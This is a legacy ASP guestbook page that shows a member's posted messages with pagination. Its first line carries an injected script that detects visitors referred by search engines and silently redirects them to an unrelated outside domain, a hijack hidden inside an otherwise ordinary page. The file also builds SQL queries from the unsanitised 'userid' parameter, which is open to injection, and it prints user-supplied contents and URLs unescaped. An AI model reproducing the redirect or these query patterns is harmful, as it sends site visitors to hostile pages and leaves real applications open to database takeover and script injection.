d:\wwwroot\wuchunhua\liuyan\board\view.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="conn.asp"-->
002: <!--#include file="config.asp"-->
003: <%
004:    '检查用户是否已经登陆,为真则直接进入系统主界面
005:    If Session("IsPassed") = Empty Or Session("IsPassed") = False Then
006:       '没有登陆,返回login.asp要求先登陆
007:       Response.Redirect "../login.asp?ErrMsg=请先登陆"
008:        Response.End
009:    End If
010:
011:    '获得要查询用户的ID号
012:    id = Request("userid")
013:
014:    '如果ID号为空
015:    '则查询自己的留言记录
016:    If id=Null Or id="" Then
017:       id = session("id")
018:    End If
019:
020:    '变量定义
021:    Dim UserName, Contents, Reply,Usermail,url,replyname
022:
023:    '记录集对象
024:    Set rs=Server.CreateObject("ADODB.RecordSet")
025:    Set rs1=Server.CreateObject("ADODB.RecordSet")
026:    Set rs2=Server.CreateObject("ADODB.RecordSet")
027:
028:    '获得该用户的信息
029:    sql = "SELECT * FROM MEMBER WHERE ID = " & id
030:
031:    '执行查询
032:    rs2.open sql, conn, 1, 1
033:
034:    '如果记录集不为空
035:    If Not rs2.EOF Then
036:       '如果记录集不为空,则获取相关信息
037:       '用户名
038:       UserName=rs2("NAME")
039:
040:       '用户电子邮件地址
041:       Usermail=rs2("EMAIL")
042:                   
043:       '用户主页地址  
044:       url=rs2("URL")
045: %
>
046: <html>
047: <head>
048: <title><%=sitename%></title>
049: <link rel="stylesheet" href="style.css" type="text/css">
050: </head>
051: <body background=images/bg.gif topmargin="0" leftmargin="0">
052: <table width="760" border=0 cellspacing=0 cellpadding=0 bgcolor="#FFFFFF" align=center class="grayline">
053: <tr><td><img border="0" src="IMAGES/TOPS.gif" width=758></td></tr>
054: </table>
055: <center>
056: <table width="760" border=0 cellspacing=0 cellpadding=0 align=center bgcolor="#FFFFFF" class="grayline">  
057:    <tr>
058:       <td align=center height=25 colspan="2" width="680">  
059:          <a href=addnote.asp><img border=0 src=images/Write.gif title="我要写留言"></a> &nbsp;&nbsp;&nbsp;&nbsp;    
060:          <a href=index.asp><img border=0 src=images/read.gif title="留言本首页"></a>
061:          &nbsp;&nbsp;&nbsp;&nbsp;    
062:          <a href=admin.asp><img border=0 src=images/admin_home.gif title="管理首页"></a>
063:       </td>
064:    </tr>
065:    <tr>
066:       <td align=center height=25 colspan="2" width="680">
067:          <font size="3" color="red">
068:          用户<%=username%>发表过的留言记录如下:</font>
069:       </td>
070:    </tr>
071:    <tr>
072:    <td>
073:    <%
074:       sql = "SELECT * FROM DIGITALNOTE WHERE USERID = " & id & " ORDER BY POSTTIME DESC"
075:
076:       '从数据库中读取留言,并保存在rs 中
077:       rs.open sql,conn,1,3        
078:
079:       '不存在留言记录
080:       If rs.EOF And rs.BOF Then
081:          Response.Write "目前还没有留言"
082:       Else
083:          '存在记录
084:          '设置每页留言条数
085:          If counts=0 Or counts="" Then counts=10
086:             '设置每页记录数
087:             rs.pageSize = counts
088:
089:             '总页数
090:             allpages = rs.pageCount
091:
092:             '从浏览器取得当前页
093:             page = Request("page")
094:
095:             'page不是数字,则设置为1
096:             If Not isNumeric(page) Then page=1
097:
098:             'page 为空或小于1,则设置为1
099:             If isEmpty(page) Or Cint(page) < 1 Then        
100:                page = 1  
101:             ElseIf Cint(page) >= allPages Then
102:                'page 值大于总页数
103:                '则设置为最后一页
104:                page = allPages  
105:             End If
106:             
107:             '设置记录集的当前页数
108:             rs.AbsolutePage = page
109:             
110:             '循环显示记录集中的记录
111:             Do While Not rs.EOF
112:                '获得回复用户的ID号
113:                ruserid = rs("REPLYUSERID")
114:
115:                'ruserid不为空,说明有回复
116:                If ruserid <> "" And ruserid <> "0" Then
117:               
118:                   '查询数据库,获得回复用户的信息
119:                   sql = "SELECT NAME FROM MEMBER WHERE ID=" & ruserid
120:                   '执行查询
121:                   rs1.open sql, conn, 1, 1
122:                   
123:                   '获得回复用户的用户名
124:                   '如果没有回复则置为空
125:                   If Not rs1.EOF Then
126:                      replyname = rs1("NAME")
127:                   Else
128:                      replyname=""
129:                   End If
130:                   
131:                   '关闭记录集
132:                   rs1.Close
133:                End If
134:
135:                '留言内容
136:                Contents=rs("CONTENTS")
137:                   
138:                '回复内容
139:                Reply=rs("REPLY")
140:                   
141:                '序号
142:                I=I+1                                
143:                '留言序号
144:                temp=rs.RecordCount-(page-1)*rs.pageSize-I+1  
145:    %
>  
146: <table cellSpacing="1" cellPadding="3" width="680" align="center" bgColor="#000000" border="0">
147:   <tr>
148:    <td vAlign="top" width="25%" bgColor="#f7f7f7" rowSpan="2" align=center>
149:    <table border=0 width=80%
><tr><td align=center></td></tr>
150:    <tr><td>[NO.<%=temp%>]<br>
151:    姓名:<%=UserName%><br>
152:    来自:<%=left(rs("IP"),(len(rs("IP"))-1))+"*"%><br>
153:    邮件:<a href=mailto:<%=Usermail%>><img src=images/mail.gif border=0></a><br>
154:    主页:<a href="<%=URL%>" target='_blank'><img src=images/home.gif border=0></a><br><br>
155:    <%=rs("POSTTIME")%></td></tr>
156:    </table>
157:    </td>
158:    <td width="75%" height="20" bgColor="#ffffff">主题:<font color=blue><%=rs("SUBJECT")%></font> </td>    
159:   </tr>
160:   <tr>
161:    <td vAlign="top" bgColor="#ebebeb" width='75%' height=120 onMouseOver="bgColor='#FFffff'" onMouseOut="bgColor='#ebebeb'">
162:    <%=Contents%>
163:    <br><br>
164:    <%
165:       '如果rs("Reply")不为空
166:       '说明有回复
167:       If rs("REPLY")<>"" Then
168:    %
>
169:    <table cellSpacing="1" cellPadding="3" width="90%" align="center" bgColor="darkgray" border="0">
170:      <tr><td vAlign="top" bgColor="#f7f7f7">  
171:    <font color=<%=ReplyColor%>>管理员<%=replyname%>回复:<br><%=Reply%></font>
172:    </td></tr></table><br>
173:    <%
174:       End If
175:    %
>
176:    </td>
177:   </tr>
178: </table>
179: <table cellSpacing="0" cellPadding="0" width="680" align="center" bgColor="#FFFFFF" border="0" height = "2">
180: <tr><td height=8> </td></tr></table>
181:    <%  
182:          '每页显示条数减1
183:          counts = counts - 1  
184:         
185:          '指向下一条记录
186:          rs.MoveNext          
187:         
188:          '已经到底最后一条记录则跳出
189:          If rs.EOF Then Exit Do    
190:         
191:       '结束循环
192:         Loop                                      
193:    %
>  
194: </td></tr>
195: <tr><td height=50 valign=top align = center>  
196: <%  
197:    '显示总留言条数
198:    Response.Write "<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;总计留言"&RS.RecordCount&"条 "  
199:
200:    '到达第一页
201:    If page = 1 Then    
202:       '以普通文件显示首页和前页字样
203:       Response.Write "<font color=darkgray>首页 前页</font>"  
204:    Else                                            
205:       '不是第一页
206:       'Request.ServerVariable("script_name") 获得程序的虚拟路径
207:       '以超级链接显示首页和前页字样
208:       Response.Write "<a href="&Request.ServerVariables("script_name")&"?page=1>首页</a><a href="&Request.ServerVariables("script_name")&"?page="&page-1&">前页</a>"  
209:    End If
210:
211:    '到达最后一页
212:    If page = allpages Then  
213:       '以普通文件显示下页和末页字样
214:       Response.Write "<font color=darkgray> 下页 末页</font>"  
215:    Else              
216:       '不是最后一页
217:       '以超级链接显示下页和末页字样
218:       Response.Write " <a href="&Request.ServerVariables("script_name")&"?page="&page+1&">下页</a> <a href="&Request.ServerVariables("script_name")&"?page="&allpages&">末页</a>"  
219:    End If  
220:
221:    '显示留言当前的页数信息
222:    Response.Write " 第"&page&"页 共"&allpages&"页 "  
223: %
>
224: </td></tr>  
225: </table>
226: <table width="760" border=0 cellspacing=0 cellpadding=0 bgcolor="#FFFFFF" align=center class="grayline">
227: <tr><td> </td></tr>
228: <tr><td width=30 height=37 background="IMAGES/down.gif"><a href=#top><img src=images/up.gif border=0></a></td>
229: <td height=37 background="IMAGES/down.gif">&nbsp;&nbsp;Copyright &copy; 2005  版权所有</td>          
230: <td width=30 height=37 background="IMAGES/down.gif"><a href=admin_login.asp title="管理留言本"><img src=images/admin.gif border=0></a></td>
231: </tr>
232: </table>
233: </center>  
234: </body>
235: </html>
236: <%
237:       rs.Close
238:    End If
239:
240:    rs2.Close
241: End If
242:
243: '释放对象
244: Set rs = Nothing
245: Set rs1 = Nothing
246: Set rs2 = Nothing
247:
248: '关闭数据库
249: conn.Close
250: '释放对象
251: Set conn = Nothing
252: %
>
253:
254: